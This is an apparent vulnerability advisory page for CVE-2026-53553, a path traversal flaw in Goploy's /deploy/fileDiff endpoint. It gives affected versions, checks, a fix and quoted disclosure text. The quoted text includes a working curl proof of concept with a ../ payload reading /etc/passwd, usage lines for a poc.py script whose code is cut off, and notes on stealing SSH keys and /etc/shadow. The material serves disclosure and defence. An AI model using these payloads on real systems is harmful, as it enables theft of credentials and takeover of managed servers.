--- id: "CVE-2026-53553" kind: "vulnerability" aliases: ["CVE-2026-53553", "GHSA-4g5x-hcwm-82jw"] title: "Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise" severity: "high" cvss: 7.7 epss: 0.00465 exploited: false status: "open" category: "package" products: [{"name": "github.com/zhenorzz/goploy", "fixed": ["1.18.0"], "affected": "<= 1.17.5", "ecosystem": "go"}] ecosystems: ["go"] tags: ["cwe-200", "cwe-22", "deployment", "go", "goploy", "package", "self-hosted", "ssh"] not_affected_if: ["admin-only-users", "fixed-version", "no-file-compare-permission"] published_at: "2026-07-07T23:42:24+00:00" first_seen_at: "2026-10-27T15:13:25+00:00" updated_at: "2026-10-27T15:14:44+00:00" sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-4g5x-hcwm-82jw", "first_seen_at": "2026-10-27T15:13:25+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53553", "first_seen_at": "2026-10-27T15:32:59+00:00"}] --- # Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise Goploy's /deploy/fileDiff endpoint does not validate the filePath parameter, so a ../ payload reads arbitrary files on the Goploy host and on managed remote servers over SFTP. Any low-privileged member with the default File Compare permission can read files such as /etc/passwd, SSH private keys and configuration secrets. _Summary, check and fix written by a model from the sources; labelled as such._ ## Affected - go:github.com/zhenorzz/goploy affected <= 1.17.5 fixed 1.18.0 ## How to check - Check the Goploy version with the binary or release tag; versions `<= 1.17.5` are affected. - Review whether the `member` role or other non-admin roles hold the File Compare permission in the Goploy UI. - Inspect web server or application logs for POST requests to `/deploy/fileDiff` containing `../` in `filePath`. ## Fix - Upgrade Goploy to `1.18.0`. - Until upgraded, remove File Compare permission from non-admin roles and rotate SSH keys and secrets on managed servers that may have been exposed. ## Timeline - 2026-10-27T15:13:25+00:00 ghsa https://github.com/advisories/GHSA-4g5x-hcwm-82jw - 2026-10-27T15:32:59+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-53553 ## From the sources # Goploy System Arbitrary File Read Vulnerability ## Basic Information - **Vulnerability Name**: Goploy Endpoints Arbitrary File Read via Path Traversal - **Affected Product**: Goploy - **Known Affected Versions**: <=1.17.5 ## Vulnerability Description Goploy is an open-source automation deployment system. A severe path traversal vulnerability exists in its backend API endpoints, specifically `/deploy/fileDiff` (File Compare), when handling file paths provided by the client. The original logic of this endpoint is to read a local project file and compare it with a file on a remote target server. However, due to insufficient validation and sanitization of the `filePath` parameter, and the lack of security constraints on the final absolute file path, malicious paths containing `../` are directly executed within the system. This leads to a **dual arbitrary file read** issue: 1. **Local Host File Read**: `os.ReadFile` is tricked by the directory traversal payload to read any file via its absolute path on the Goploy local host (returned in the `srcText` field of the response body). 2. **Remote Controlled Server File Read**: Subsequently, the same payload is utilized via the SFTP protocol on the target server pointed to by the `serverID`. Influenced similarly by the directory traversal, it reads any file on the configured remote server (returned in the `distText` field of the response body). **The threshold for exploiting this vulnerability is extremely low, and the conditions are very easily met.** The system comes with a built-in `member` role upon default installation, which is **granted the "File Compare" permission by default**. This means that as long as a normal low-privileged user is added to the system, they inherently possess the basic privileges required to call the vulnerable endpoint. The only prerequisite for the attack is that at least one project and one associated server are configured in the system. An attacker only needs to specify the correct namespace header (e.g., `G-N-ID: 1`) via a packet capture tool to bypass simple restrictions. By enumerating available `serverId` parameters, the attacker can successfully execute path traversal via this endpoint, reading arbitrary files on both the local Goploy host and **all remote target servers managed by Goploy**. ## Steps to Reproduce (Proof of Concept) ### Theoretical Steps (See concrete steps below) 1. **Obtain Normal User Privileges** Log in to the system using any registered low-privileged account to obtain valid authentication credentials (Cookie/Token) and its corresponding authorized Namespace ID. 2. **Construct Malicious Request** Send a POST request containing the directory traversal characters `../` to the target endpoint `/deploy/fileDiff`, while including the `G-N-ID` header. **PoC Example (Reading `/etc/passwd` and enumerating `serverId`):** ```bash curl -s -X POST -b "goploy_token=" \ -H "Content-Type: application/json" \ -H "G-N-ID: 1" \ -d '{"projectId":1,"serverId":1,"filePath":"../../../../../../../../../../etc/passwd"}' \ "http:///deploy/fileDiff" ``` 3. **Reproduction Result** The server will return the complete contents of the `/etc/passwd` file from both the host and the remote server. ### Concrete Steps 1. **Environment Setup** Published an arbitrary project using the super admin account: image Configured two managed remote servers: image-1(1) Created a normal user and assigned the `member` role (which includes File Compare permission): image-2 image-3 2. **Obtain Normal User Privileges** Log in to the system using the registered `test` account to obtain valid authentication credentials (Cookie/Token). image-4(1) 3. **Execute poc.py (See below)** * **Parameter Explanation:** `-u` : Target URL `-t` : Target Cookie/Token to use `-f` : File to read `-s` : ID of the managed server to read from * **Reading from the first managed server (Server ID: 1):** ```bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1 ``` image-6(1) image-5 * **Reading from the second managed server (Server ID: 2):** ```bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 2 ``` image-8(1) 4. **Reproduction Result** The server successfully returns the full contents of the `/etc/passwd` file from both the Goploy host and the designated remote servers. ## Impact Through this vulnerability, an attacker can bypass authorization to read any sensitive files on the host machine as well as all managed target servers. For example: - Read `/etc/passwd` or `/etc/shadow` on the local or remote target servers to obtain host system user information. - Read users' SSH private keys (e.g., `~/.ssh/id_rsa`) across different systems, enabling passwordless SSH access to the host or cross-network connections to other servers to steal administrative control, achieving the equivalent of Remote Code Execution (RCE). - By enumerating the `serverID`, an attacker can use Goploy as a jump server (bastion host) to conduct large-scale information theft against all bound deployment target systems. - Obtain various critical configuration files, database credentials, etc., of the affected systems. ## Remediation Suggestions 1. **Input Parameter Filtering**: Strictly filter special characters such as `../`, `..\`, and `%00` that can cause directory traversal and truncation when receiving and processing file paths provided by clients. 2. **Path Whitelist Constraints**: Use built-in functions like `filepath.Clean` to format the path. Before executing system file read/write operations, strictly verify whether the parsed absolute path prefix is within the legitimate restricted directory scope allowed by the application (such as a preset sandbox directory or project workspace). 3. **Principle of Least Privilege**: The environment or Docker container running the Goploy service should be executed with low-privileged user identities whenever possible, to mitigate the risk of sensitive system files being read. 4. **Comprehensive API Audit**: Apart from the APIs mentioned above, there are multiple other APIs that suffer from similar path traversal vulnerabilities. If users obtain the corresponding permissions, it can lead to arbitrary file reads **or even writes**. ## poc.py ```python #!/usr/bin/env python3 import requests import argparse import sys import urllib3 import json urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def banner(): print(r""" ____ _ ____ ____ / ___| ___ _ __ | | ___ _ _ | _ \ ___ / ___| | | _ / _ \| '_ \| |/ _ \| | | | | |_) / _ \ | | |_| | (_) | |_) | | (_) | |_| | | __/ (_) | |___ \____|\___/| .__/|_|\___/ \__, | |_| \___/ \____| --- _Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_